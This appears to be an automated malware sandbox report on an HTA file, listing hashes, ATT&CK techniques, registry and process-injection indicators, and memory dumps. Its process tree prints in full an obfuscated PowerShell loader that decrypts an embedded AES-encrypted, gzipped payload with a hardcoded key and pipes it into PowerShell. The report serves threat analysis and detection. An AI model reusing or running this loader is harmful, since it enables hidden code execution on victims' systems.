caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7

General

Target

caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7.hta
Size

76KB
MD5

7e08e28d64e2026b8325935172c27c6b
SHA1

3be2858857ffba56416db3001a4f9a382a7404ec
SHA256

caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7
SHA512

816dd4906b26ac9fdaed836ca273588cac0d807868934715d500c3a9f8ad31bd11020d3a589d016a1c60c93fe714602f45963e78932b36ae1fa4cc54048190e9
SSDEEP

768:H0nzwRQmH5omBvaGGZFD9lu2drSX0kUG39UaZd4xJk0sS7:AzwGmHfBsZFDfu2dmX0kUmU/uS7

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2660	powershell.exe
2388	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 2660	1936	mshta.exe	29
PID 1936 wrote to memory of 2660	1936	mshta.exe	29
PID 1936 wrote to memory of 2660	1936	mshta.exe	29
PID 1936 wrote to memory of 2660	1936	mshta.exe	29
PID 2660 wrote to memory of 2388	2660	powershell.exe	30
PID 2660 wrote to memory of 2388	2660	powershell.exe	30
PID 2660 wrote to memory of 2388	2660	powershell.exe	30
PID 2660 wrote to memory of 2388	2660	powershell.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $SNTyz = 'AAAAAAAAAAAAAAAAAAAAALmk2b6lObDopuf9qJWqGCtzC7CpptCgBnt5rHGdK0CvSJKhFnvqJYIoDdgjV85+2qtRocrUk9BcXKKoE9JsNJgtMBltspO1u78Mfl7YMlQ0P6ZscPVex7HSoCRP10vd0aIFQ1RIYahKuYd6bdmAphNVCCPHUBzYTI7VBNdM83D7XZFoec+s23GTfZWtuLYtYiS/OTUEzlhOwnMxN3sP2n8EbAo9BGzEBkxFbuCbhHyPb0i1m4H+rOtXNkftKSWiPM4ZXhtfLWDXCtqRIJhHmHUZErlqLgiNahl0E0q5FgZZm7OPmMEoMyuXzOzt1+cRrN1Ctv6HcMAYuAhBzws+/DaLNhYS+WE4CDQVfS8Ok13+MLPrzW7O9DoG3TCRFMLBTGp+78w993AYJtFm12crbdAyk79fGa6dn8PRunfMPiXcbyo2OkAJQE/5Sd5Qu6Wk7Dmxy98RYGde8kwD9ip5r7gf6c1124Am/BEazQnaTet4zRGw963Te9Jey/4OUUf7n/wQFzO68GOZebttJyOyf7t0YP+Phce1GZBsIMJ8r/OAa1QCgIBQ3bvh+Wb7pC4r1Bu+UgwFMnLY+oWJUr3sUMzcwoEDJylcmUbX1Usq77b1fKmB201lgyr0PKGLEt3IORnPBhTD81gOlFbkTg2IfcheTlv3Xu9kzvd3D0LOjJ6UHpKh1u7DWwC4qflR5AUIjGX81KrOdsIj4I8cSzvTEUbFoOe/Merccz3NEtk5Aq1z0o9g5fFuBaXQvrhGFkyOkdNFzRiCJEGtBWCt4ssADBmv0Mp4PLNrPGKQ+GKQNdRRdnRYWVcdDlQjvqRQoSBqMbb0RVi1bkQLcO0ZooLIzLbzcmwfgDvTyVCk2p/3p5mAhvJIGg+WcG7kH76z2nvrBGoVqQUzcEx6MvAzDXDb/VDkrzZz5DN6h42PvwxThFmO926dcbjgZUumX1jUcIsr+Cm4IQxjQnyZAscmjTeJ4WKfIU3zpS5dKT2LTLVjDxVUzzqlTmd/rBgzYJcQl1dlkMzxPLgnpQq/Pwf3+iGIYoW6TLrCGfenlPxiURCdq0ejJLKErJg0tIF+CxtB+v3FETsTyH0UkR5J3TwQjZHsgGZFNQLNnkBTwpdQAOsdW+LTRyRcION9/NP5yk3ZQHcSQeiNfbC4vS8iCRrjSR31swF/MC7PANy+yO7STigHV+6S5OCbKezZXAWlClJUP+G0Zg==';$NYvzm = 'dE92WmpUelNoc1NyUHdadGdKY1lsaHNuQWxvanpYdVg=';$JxlzVEaB = New-Object 'System.Security.Cryptography.AesManaged';$JxlzVEaB.Mode = [System.Security.Cryptography.CipherMode]::ECB;$JxlzVEaB.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$JxlzVEaB.BlockSize = 128;$JxlzVEaB.KeySize = 256;$JxlzVEaB.Key = [System.Convert]::FromBase64String($NYvzm);$CcxpA = [System.Convert]::FromBase64String($SNTyz);$cnnQFgZm = $CcxpA[0..15];$JxlzVEaB.IV = $cnnQFgZm;$LEiiXZOgN = $JxlzVEaB.CreateDecryptor();$AcOIkQZxG = $LEiiXZOgN.TransformFinalBlock($CcxpA, 16, $CcxpA.Length - 16);$JxlzVEaB.Dispose();$BMBI = New-Object System.IO.MemoryStream( , $AcOIkQZxG );$mZNCUMQO = New-Object System.IO.MemoryStream;$NPwQahcaV = New-Object System.IO.Compression.GzipStream $BMBI, ([IO.Compression.CompressionMode]::Decompress);$NPwQahcaV.CopyTo( $mZNCUMQO );$NPwQahcaV.Close();$BMBI.Close();[byte[]] $kiEmVbL = $mZNCUMQO.ToArray();$tsWNTzTK = [System.Text.Encoding]::UTF8.GetString($kiEmVbL);$tsWNTzTK | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2ISYQN3ZOU855BC0CHP6.temp

Filesize
7KB

MD5
dbd4e597c37fcf40260d4816a22ba71f

SHA1
4a258157e269ae98f2f5c4761789d0fd791b955b

SHA256
8c4b9f00bf5cc8db957658dc3d2a7d162e8843ed85fd0fdb09d2dc284e5b36cc

SHA512
a3a4a618f521c113aab03da59d7b6d89d8c5ad8b85f3674e301f56cbcbbcf489bb5b317d5e888c5c06792342619e410d70b198e94ca4e2f1f189fc876aaa3c36

Download Submit
memory/2388-12-0x0000000002800000-0x0000000002840000-memory.dmp

Filesize
256KB

Download
memory/2388-11-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/2388-13-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/2388-14-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/2660-2-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/2660-4-0x0000000002AA0000-0x0000000002AE0000-memory.dmp

Filesize
256KB

Download
memory/2660-5-0x0000000002AA0000-0x0000000002AE0000-memory.dmp

Filesize
256KB

Download
memory/2660-3-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/2660-15-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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